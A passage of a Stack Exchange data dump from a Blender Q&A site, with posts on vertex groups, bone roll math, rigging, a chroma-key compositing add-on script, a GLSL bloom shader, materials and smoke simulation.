BY-SA 3.0" />
  <row Id="38336" PostTypeId="2" ParentId="38331" CreationDate="2015-09-10T17:28:36.357" Score="1" Body="&lt;p&gt;One way is to set up a dictionary with key groupname and a list of vertex indices and add them in object mode using &lt;code&gt;vertex_group.add(..)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;context = bpy.context&#xA;ob = context.object&#xA;&#xA;dic = {}&#xA;for g in ob.vertex_groups:&#xA;    dic[g.name] = []&#xA;&#xA;for vertex in ob.data.vertices:&#xA;    for gr in vertex.groups:&#xA;        dic[ob.vertex_groups[gr.group].name].append(vertex.index)&#xA;&#xA;# has to be in object mode for vertex_group.add&#xA;bpy.ops.object.mode_set()&#xA;w = 1.0&#xA;for vgname, verts in dic.items():&#xA;    #print(vgname)&#xA;    ob.vertex_groups[vgname].add(verts, w, 'REPLACE')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15543" LastEditorUserId="3710" LastEditDate="2015-09-11T09:09:17.473" LastActivityDate="2015-09-11T09:09:17.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38337" PostTypeId="2" ParentId="9318" CreationDate="2015-09-10T17:35:00.633" Score="1" Body="&lt;p&gt;&lt;code&gt;bone.transform()&lt;/code&gt; also didn't work very well for me, so I used a method I found in a blenderartists post to extract the roll and tail from a matrix:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def vec_roll_to_mat3(vec, roll):&#xA;    target = Vector((0, 0.1, 0))&#xA;    nor = vec.normalized()&#xA;    axis = target.cross(nor)&#xA;    if axis.dot(axis) &amp;gt; 0.0000000001: # this seems to be the problem for some bones, no idea how to fix&#xA;        axis.normalize()&#xA;        theta = target.angle(nor)&#xA;        bMatrix = Matrix.Rotation(theta, 3, axis)&#xA;    else:&#xA;        updown = 1 if target.dot(nor) &amp;gt; 0 else -1&#xA;        bMatrix = Matrix.Scale(updown, 3)&#xA;&#xA;        # C code:&#xA;        #bMatrix[0][0]=updown; bMatrix[1][0]=0.0;    bMatrix[2][0]=0.0;&#xA;        #bMatrix[0][1]=0.0;    bMatrix[1][1]=updown; bMatrix[2][1]=0.0;&#xA;        #bMatrix[0][2]=0.0;    bMatrix[1][2]=0.0;    bMatrix[2][2]=1.0;&#xA;        bMatrix[2][2] = 1.0&#xA;&#xA;    rMatrix = Matrix.Rotation(roll, 3, nor)&#xA;    mat = rMatrix * bMatrix&#xA;    return mat&#xA;&#xA;def mat3_to_vec_roll(mat):&#xA;    vec = mat.col[1]&#xA;    vecmat = vec_roll_to_mat3(mat.col[1], 0)&#xA;    vecmatinv = vecmat.inverted()&#xA;    rollmat = vecmatinv * mat&#xA;    roll = math.atan2(rollmat[0][2], rollmat[2][2])&#xA;    return vec, roll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, to set it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tail, roll = mat3_to_vec_roll(matrix)&#xA;bone.head = matrix.to_translation()&#xA;bone.tail = tail*boneLength + bone.head&#xA;bone.roll = roll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16174" LastActivityDate="2015-09-10T17:35:00.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38338" PostTypeId="1" CreationDate="2015-09-10T17:38:48.937" Score="1" ViewCount="73" Body="&lt;p&gt;I should like to create a cross-shaped armature where I can push the center while the outer points stay in their place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I best go about that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One idea that crossed my mind was that if we can use the Inverse Kinematics constraint to build something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oWggK.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oWggK.gif&quot; alt=&quot;animation of inverse kinematics constraint&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then perhaps there is a way to build something like that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/S0aYC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/S0aYC.png&quot; alt=&quot;illustration of one idea&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try, though, I fail because setting the bone with the IK constraint as parent of the second middle bone will detach the middle bone from the bottom bone. When I manuall re-attach it (parent with &quot;keep offset&quot;), I get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/920bp.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/920bp.gif&quot; alt=&quot;animation of failed attempt&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which moves the bottom bone rather than rotate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd appreciate your help with this.&lt;/p&gt;&#xA;" OwnerUserId="17963" LastActivityDate="2015-09-10T17:38:48.937" Title="cross-shaped armature with pushable center" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38339" PostTypeId="2" ParentId="38320" CreationDate="2015-09-10T17:47:38.580" Score="5" Body="&lt;p&gt;Here are some mathematics governing the transform:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;W = pixel width of final scene&lt;/li&gt;&#xA;&lt;li&gt;H = pixel height of final scene&lt;/li&gt;&#xA;&lt;li&gt;x1,y1 = min coordinate of green screen&lt;/li&gt;&#xA;&lt;li&gt;x2,y2 = max coordinate of green screen&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You will feed the inside image into a scale node and then a translate node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The values for the scale node will be&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;scale_x = (x2-x1)/W&lt;/li&gt;&#xA;&lt;li&gt;scale_y = (y2-y1)/H&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The values for the translate node will be&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;translate_x = (x2+x1-W)/2&lt;/li&gt;&#xA;&lt;li&gt;translate_y = (y2+y1-H)/2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want to use the Relative checkbox, then divide those values by W and H respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that blender's coordinate system is mathematical, not page coordinates, so max_y is at the top of the screen.  (page coordinates usually put y=0 at the top instead)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ipFaL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ipFaL.png&quot; alt=&quot;compositor node setup and PiP&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This math applies &lt;em&gt;after&lt;/em&gt; you have determined the coordinates of the green rectangle. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an operator that will let you pick a file and a color and the operator will rewrite your compositor node tree to mix the current 3D scene with the matte image.  Be warned, this can be misled by stray matching pixels, so if your source images aren't properly constructed, you are boned:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/find-green-rectangle.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://web.purplefrog.com/~thoth/blender/python-cookbook/find-green-rectangle.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot; : &quot;Composite into Matte image&quot;,&#xA;    &quot;description&quot;: &quot;An operator that configures the compositor to substitute the 3D scene into a chroma-keyed subset of the matte image chosen by the operator&quot;,&#xA;    &quot;author&quot; : &quot;Robert Forsman &amp;lt;blender@thoth.purplefrog.com&amp;gt;&quot;,&#xA;    &quot;version&quot;: (0,1),&#xA;    &quot;blender&quot;: (2,74,0),&#xA;    #&quot;location&quot;: &quot;????&quot;,&#xA;    &quot;warning&quot;: &quot;&quot;,&#xA;    #&quot;wiki_url&quot;: &quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/???&quot;,&#xA;    &quot;category&quot;: &quot;Node&quot;,&#xA;}&#xA;import bpy&#xA;from math import *&#xA;&#xA;def get_image(path):&#xA;    matches = [ img for img in bpy.data.images if img.filepath==path]&#xA;    if len(matches)&amp;gt;0:&#xA;        return matches[0]&#xA;    rval = bpy.data.images.load(path)&#xA;    return rval&#xA;&#xA;&#xA;def matches( c1, c2, epsilon = 0.02):&#xA;&#xA;    for i in range(len(c1)):&#xA;        if i&amp;lt;len(c2):&#xA;            b = c2[i]&#xA;        else:&#xA;            b=1&#xA;        if epsilon &amp;lt; abs(c1[i]- b):&#xA;            return False&#xA;    return True&#xA;&#xA;def find_green_rectangle(img, chroma_key):&#xA;    # hold down the left mouse button in the UV/Image editor window to get the values for chroma_key&#xA;&#xA;    width = img.size[0]&#xA;    #print (img.pixels[:4])&#xA;    pix = img.pixels[:]&#xA;    min_x = None&#xA;    max_x = None&#xA;    min_y = None&#xA;    max_y = None&#xA;    for i in range(0,len(pix), 4):&#xA;        one_pixel = pix[i:(i + 4)]&#xA;        if matches(one_pixel, chroma_key):&#xA;            x = floor(i/4)% width&#xA;            y = floor(i/4/ width)&#xA;            if min_x is None or x&amp;lt;min_x:&#xA;                min_x = x&#xA;                print([ i,x,y , one_pixel])&#xA;            if max_x is None or x&amp;gt;max_x:&#xA;                max_x = x&#xA;            if min_y is None or y&amp;lt;min_y:&#xA;                min_y = y&#xA;            if max_y is None or y &amp;gt; max_y:&#xA;                max_y = y&#xA;        #if i%100000 ==0:&#xA;        #    print(i)&#xA;    return [ min_x, min_y, max_x, max_y, width, img.size[1]]&#xA;&#xA;&#xA;def convert_bounds_to_node_parameters(scn, x1, y1, x2, y2, W, H):&#xA;    translate_x = (x2+x1-W)/2 /W&#xA;    translate_y = (y2+y1-H)/2 /H&#xA;    scale_x = (x2-x1)/W&#xA;    scale_y = (y2-y1)/H&#xA;&#xA;    #scale_nodes = [ n for n in scn.node_tree.nodes if n.type=='SCALE']&#xA;    # use the N-panel in the compositor nodes to give your scale node this name&#xA;    scale_nodes = [ n for n in scn.node_tree.nodes if n.name=='matte scale']&#xA;    translate_nodes = [ n for n in scn.node_tree.nodes if n.name == 'matte translate']&#xA;&#xA;    scale_nodes[0].inputs[1].default_value = scale_x&#xA;    scale_nodes[0].inputs[2].default_value = scale_y&#xA;&#xA;    translate_nodes[0].inputs[1].default_value = translate_x&#xA;    translate_nodes[0].inputs[2].default_value = translate_y&#xA;    translate_nodes[0].use_relative = True&#xA;&#xA;def wipe_and_rebuild_compositor_nodes(scn, img, wipe=True):&#xA;&#xA;    scn.use_nodes = True&#xA;    while wipe and len(scn.node_tree.nodes)&amp;gt;0:&#xA;        scn.node_tree.nodes.remove(scn.node_tree.nodes[0])&#xA;&#xA;    nodes = scn.node_tree.nodes&#xA;    links = scn.node_tree.links&#xA;&#xA;    dx = 200&#xA;    image_n = nodes.new(&quot;CompositorNodeImage&quot;)&#xA;    image_n.location = (0,0)&#xA;    image_n.image = img&#xA;&#xA;    #matte_n = nodes.new(&quot;CompositorNodeColorMatte&quot;)&#xA;    #matte_n.location = (dx,0)&#xA;    #links.new(matte_n.inputs[0], image_n.outputs[0])&#xA;&#xA;    scale1_n = nodes.new(&quot;CompositorNodeScale&quot;)&#xA;    scale1_n.location = (2*dx,0)&#xA;    links.new(scale1_n.inputs[0], image_n.outputs[0])&#xA;    #links.new(scale1_n.inputs[0], matte_n.outputs[0])&#xA;    if True:&#xA;        scale1_n.space = 'RENDER_SIZE'&#xA;        scale1_n.frame_method = 'STRETCH'&#xA;    else:&#xA;        scale1_n.inputs[1].default_value = scn.render.resolution_x / img.size[0]&#xA;        scale1_n.inputs[2].default_value = scn.render.resolution_y / img.size[1]&#xA;&#xA;    y2=-250&#xA;    layer_n = nodes.new('CompositorNodeRLayers')&#xA;    layer_n.location = (0,y2)&#xA;&#xA;    scale2_n = nodes.new(&quot;CompositorNodeScale&quot;)&#xA;    scale2_n.location = (dx,y2)&#xA;    scale2_n.name = &quot;matte scale&quot;&#xA;    links.new(scale2_n.inputs[0], layer_n.outputs[0])&#xA;&#xA;    translate_n = nodes.new(&quot;CompositorNodeTranslate&quot;)&#xA;    translate_n.location = (2*dx, y2)&#xA;    translate_n.name = &quot;matte translate&quot;&#xA;    links.new(translate_n.inputs[0], scale2_n.outputs[0])&#xA;&#xA;    mix_n = nodes.new(&quot;CompositorNodeAlphaOver&quot;)&#xA;    mix_n.location = (3*dx, 0)&#xA;    links.new(mix_n.inputs[1], scale1_n.outputs[0])&#xA;    links.new(mix_n.inputs[2], translate_n.outputs[0])&#xA;&#xA;    output = nodes.new('CompositorNodeComposite')&#xA;    output.location = (4*dx,0)&#xA;    links.new(output.inputs[0], mix_n.outputs[0])&#xA;&#xA;&#xA;&#xA;&#xA;#&#xA;#&#xA;&#xA;class CompositeSceneIntoMatte(bpy.types.Operator):&#xA;    bl_idname = &quot;compositor.scene_into_matte&quot;&#xA;    bl_label = &quot;Composite Scene Into Matte&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    matte_filename = bpy.props.StringProperty(name=&quot;Matte file path&quot;,&#xA;                                              description=&quot;path to the image that provides the matte image&quot;,&#xA;                                              #default=&quot;/var/tmp/matte.png&quot;,&#xA;                                              subtype='FILE_PATH')&#xA;    matte_color = bpy.props.FloatVectorProperty(&#xA;            name=&quot;Matte chroma key&quot;,&#xA;            subtype='COLOR',&#xA;            default=(0, 1, 0),&#xA;            min=0.0, max=1.0,&#xA;            description=&quot;color from the matte image that marks where the 3D scene should be overlaid&quot;&#xA;           )&#xA;&#xA;    def execute(self, ctx):&#xA;        try:&#xA;            try :&#xA;                img = get_image(self.matte_filename)&#xA;            except :&#xA;                self.report({'WARNING'}, &quot;failed to load image from filename %r&quot;%self.matte_filename)&#xA;                return {'FINISHED'}&#xA;&#xA;            bounds = find_green_rectangle(img, self.matte_color)&#xA;            if bounds[2] is None:&#xA;                self.report({'WARNING'}, &quot;matte color %r does not appear in image&quot;%self.matte_color)&#xA;                return {'FINISHED'}&#xA;            wipe_and_rebuild_compositor_nodes(ctx.scene, img)&#xA;            convert_bounds_to_node_parameters(ctx.scene, bounds[0], bounds[1], bounds[2]+1, bounds[3]+1, bounds[4], bounds[5])&#xA;            return {'FINISHED'}&#xA;        except BaseException as e:&#xA;            self.report({'ERROR'}, e.args[0])&#xA;            return {'CANCELLED'}&#xA;&#xA;#&#xA;#&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    unregister()&#xA;    register()&#xA;&#xA;if False:&#xA;    bounds = find_green_rectangle(get_image(&quot;/var/tmp/matte.png&quot;))&#xA;    print(bounds)&#xA;&#xA;    scn = bpy.context.scene&#xA;    convert_bounds_to_node_parameters(scn, bounds[0], bounds[1], bounds[2]+1, bounds[3]+1, bounds[4], bounds[5])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To use this, follow the instructions in the Install the Addon section of the &#xA;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_70_release/info_tutorial_addon.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Addon Tutorial&lt;/a&gt; .  Then use the Spacebar pop-up menu to invoke the Composite Scene Into Matte operator.&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2015-09-12T19:56:30.787" LastActivityDate="2015-09-12T19:56:30.787" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="38340" PostTypeId="1" AcceptedAnswerId="38347" CreationDate="2015-09-10T18:22:30.163" Score="2" ViewCount="119" Body="&lt;p&gt;I'm trying to model this&lt;a href=&quot;https://i.stack.imgur.com/wg05H.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wg05H.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; with a physical surface(as opposed to just texturing/bump mapping etc) like this&lt;a href=&quot;https://i.stack.imgur.com/tMDGn.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tMDGn.jpg&quot; alt=&quot;fraggrenade&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! I appreciate the help&lt;/p&gt;&#xA;" OwnerUserId="17945" LastActivityDate="2015-09-10T20:16:07.110" Title="Need some modeling/workflow tips on Kettlebell/grenade look" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38341" PostTypeId="1" CreationDate="2015-09-10T18:32:35.560" Score="0" ViewCount="485" Body="&lt;p&gt;I have a set of concentric spheres of varying radii, each a different color (material). I would like to use the SOLIDIFY modifier, and add a thickness to each such that it fills in the distance between the larger sphere and the smaller sphere. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I plan to put this in a script, so I have tried to build an algorithm based on their radii (and the difference of), but something's not working out. A visual example may help. Below is a 1-D model from the outside of the largest sphere (left) the center of the concentric spheres &quot;(center)&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Crrnt:&#xA;1.......2...3......4.....5......(center)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideal:&#xA;1111111 2222 3333333 444444 5555555 (center)&lt;/p&gt;&#xA;" OwnerUserId="16866" LastActivityDate="2015-09-11T20:50:26.127" Title="Method to specify the Solidify thickness based on another surface" Tags="&lt;modifiers&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38343" PostTypeId="1" CreationDate="2015-09-10T19:34:59.713" Score="1" ViewCount="339" Body="&lt;p&gt;I have a script that blooms based on color value, but I need to bloom only if the color is on a list,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the list is (1,0,0),(0,1,0),(1,0,1),(1,1,0),(0,1,1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the script I was trying to edit&#xA;&lt;a href=&quot;http://www.pasteall.org/61086/c&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/61086/c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uniform sampler2D bgl_RenderedTexture;&#xA;const float BRIGHT_PASS_THRESHOLD = 0.55;&#xA;const float BRIGHT_PASS_OFFSET = 0.08;&#xA;&#xA;#define blurclamp 0.002&#xA;#define bias 10.8&#xA;#define KERNEL_SIZE 6.0&#xA;&#xA;vec2 texcoord = vec2(gl_TexCoord[0]).st;&#xA;&#xA;vec4 bright(vec2 coo)&#xA;{&#xA;        vec4 color = texture2D(bgl_RenderedTexture, coo);&#xA;&#xA;        color = max(color - BRIGHT_PASS_THRESHOLD, 0.0);&#xA;&#xA;        return color / (color + BRIGHT_PASS_OFFSET);   &#xA;}&#xA;&#xA;void main(void)&#xA;{&#xA;        vec2 blur = vec2(clamp( bias, -blurclamp, blurclamp ));&#xA;&#xA;        vec4 col = vec4( 0, 0, 0, 0 );&#xA;        for ( float x = -KERNEL_SIZE + 1.0; x &amp;lt; KERNEL_SIZE; x += 1.0 )&#xA;        {&#xA;        for ( float y = -KERNEL_SIZE + 1.0; y &amp;lt; KERNEL_SIZE; y += 1.0 )&#xA;        {&#xA;                 col += bright( texcoord + vec2( blur.x * x, blur.y * y ) );&#xA;        }&#xA;        }&#xA;        col /= ((KERNEL_SIZE+KERNEL_SIZE)-1.0)*((KERNEL_SIZE+KERNEL_SIZE)-1.0);&#xA;        gl_FragColor = col + texture2D(bgl_RenderedTexture, texcoord);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it's just bloom, not 'selective bloom'.&lt;/p&gt;&#xA;" OwnerUserId="13034" LastEditorUserId="2217" LastEditDate="2015-09-11T01:51:37.010" LastActivityDate="2015-09-11T01:51:37.010" Title="How do I only bloom solid shadeless colors? (GLSL)" Tags="&lt;game-engine&gt;&lt;shaders&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38344" PostTypeId="2" ParentId="38311" CreationDate="2015-09-10T19:40:04.727" Score="9" Body="&lt;p&gt;You can use a spot light and add an image as texture to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/v4Xlo.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/v4Xlo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-09-10T19:40:04.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38345" PostTypeId="1" AcceptedAnswerId="38360" CreationDate="2015-09-10T19:44:29.857" Score="2" ViewCount="640" Body="&lt;p&gt;If I have an object looking exactly like I want it to using modifiers, is there any reason why I should &quot;apply&quot; the modifiers before rendering, or any other considerations? More specifically, is viewport speed, render time and/or memory affected by whether modifiers are applied or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My educated guess is that it takes less processing power to calculate and display an object with Array and Sub-D-Surf modifiers than it takes to display the same object with those modifiers applied because each individual face would have to be calculated as opposed to a lesser number of instances of the already calculated less complicated object as a whole. (Sorry, that's a mouthful of a sentence.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am making tires using various modifiers on just a sliver of the actual tire. Now that I am ready to duplicate it to four tires, I am wondering if I should duplicate the entire tire rig/hierarchy, including &quot;emptys&quot; for rotation objects, (or add another couple of array modifiers), or if I should &quot;apply&quot; it all, then duplicate the finished tire to four.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&#xA;-Ben&lt;/p&gt;&#xA;" OwnerUserId="16492" LastActivityDate="2015-09-11T01:51:35.347" Title="Is render time, openGL, or memory affected whether a modifier is applied or not?" Tags="&lt;rendering&gt;&lt;modifiers&gt;&lt;3d-view&gt;&lt;opengl&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38346" PostTypeId="1" AcceptedAnswerId="38351" CreationDate="2015-09-10T19:55:53.970" Score="2" ViewCount="129" Body="&lt;p&gt;I know this has got to be the dumbest question ever --but why is my dang bottle not showing up right? Clear.. with the label I just learned how to apply.&lt;a href=&quot;https://i.stack.imgur.com/KIchC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KIchC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16246" LastActivityDate="2015-09-10T21:08:31.523" Title="Bottle is not showing up clear in render mode" Tags="&lt;materials&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="38347" PostTypeId="2" ParentId="38340" CreationDate="2015-09-10T20:16:07.110" Score="3" Body="&lt;p&gt;I really would recommend using a normal map since the detail is so small. You're going to have to have a huge number of vertices to get it to look decent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're sure you need to be modeled, you'll probably want to use a displacement modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mQVbC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mQVbC.png&quot; alt=&quot;result&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the modifier stack:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TdB4A.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TdB4A.png&quot; alt=&quot;modifiers&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the texture settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CUq5E.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CUq5E.png&quot; alt=&quot;texture settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2015-09-10T20:16:07.110" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38348" PostTypeId="2" ParentId="38312" CreationDate="2015-09-10T20:20:09.753" Score="0" Body="&lt;p&gt;You can also use the flatten command (&lt;kbd&gt;Space&lt;/kbd&gt; then type &quot;flatten&quot;). In the option panel (&lt;kbd&gt;F6&lt;/kbd&gt;), you can choose the axis you want to flatten on. The only downside of this tool is that it makes the face an n-gon, which may not be useful.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2015-09-10T20:20:09.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38349" PostTypeId="2" ParentId="38312" CreationDate="2015-09-10T20:51:48.800" Score="3" Body="&lt;p&gt;Another way is to place the 3D cursor manually via the location input fields in n-panel, 3D Cursor tab. Then select your vertices, hit &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;S&lt;/kbd&gt; (or Mesh -&gt; Snap from the menu), and then &quot;Selection to Cursor&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ERAEg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ERAEg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15550" LastEditorUserId="15550" LastEditDate="2015-09-10T21:00:35.240" LastActivityDate="2015-09-10T21:00:35.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38350" PostTypeId="2" ParentId="38233" CreationDate="2015-09-10T21:03:23.123" Score="0" Body="&lt;p&gt;I've found an alternative to the accepted answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you create a path/curve, then create an empty object, &lt;code&gt;vertex&lt;/code&gt;, and parent that object to the path/curve, after selecting the empty object again and going de-selecting &lt;code&gt;Speed&lt;/code&gt; under the frames, it will duplicate itself across the path. At that point, there will be a new empty object along each section of the path and it will import into Unity the same way.&lt;/p&gt;&#xA;" OwnerUserId="17990" LastActivityDate="2015-09-10T21:03:23.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38351" PostTypeId="2" ParentId="38346" CreationDate="2015-09-10T21:06:14.010" Score="1" Body="&lt;p&gt;Try something like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qvCkB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qvCkB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Where the label is opaque and the rest of the bottle is transparent.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gB6YO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gB6YO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/492/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=492&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-09-10T21:08:31.523" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="38352" PostTypeId="1" AcceptedAnswerId="38407" CreationDate="2015-09-10T21:23:26.893" Score="6" ViewCount="2223" Body="&lt;p&gt;I haven't seen this question during a search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a simple campfire simulation with smoke. When I play the animation through the first time, smoke and fire both appear and evolve correctly. HOWEVER, the next time I play it through, the smoke/fire retains the shape and color it had on the final frame. It's as though once the simulation is stopped, the fire is frozen in that form for all the previous frames.&#xA;Is this a bug, or have I messed up somewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My rig is:&#xA;AMD FX-8310 8 core processor&#xA;8G RAM&#xA;GeForce GTX 970 graphics card&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's being rendered in Cycles by CPU, but the problem shows up before rendering.&#xA;Unfortunately, I haven't been able to try this on another computer, or on another version of Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EDITED TO ADD:]&#xA;Sorry, I have no idea how to attach a file to this post. HOWEVER, I have uploaded my .blend to &lt;a 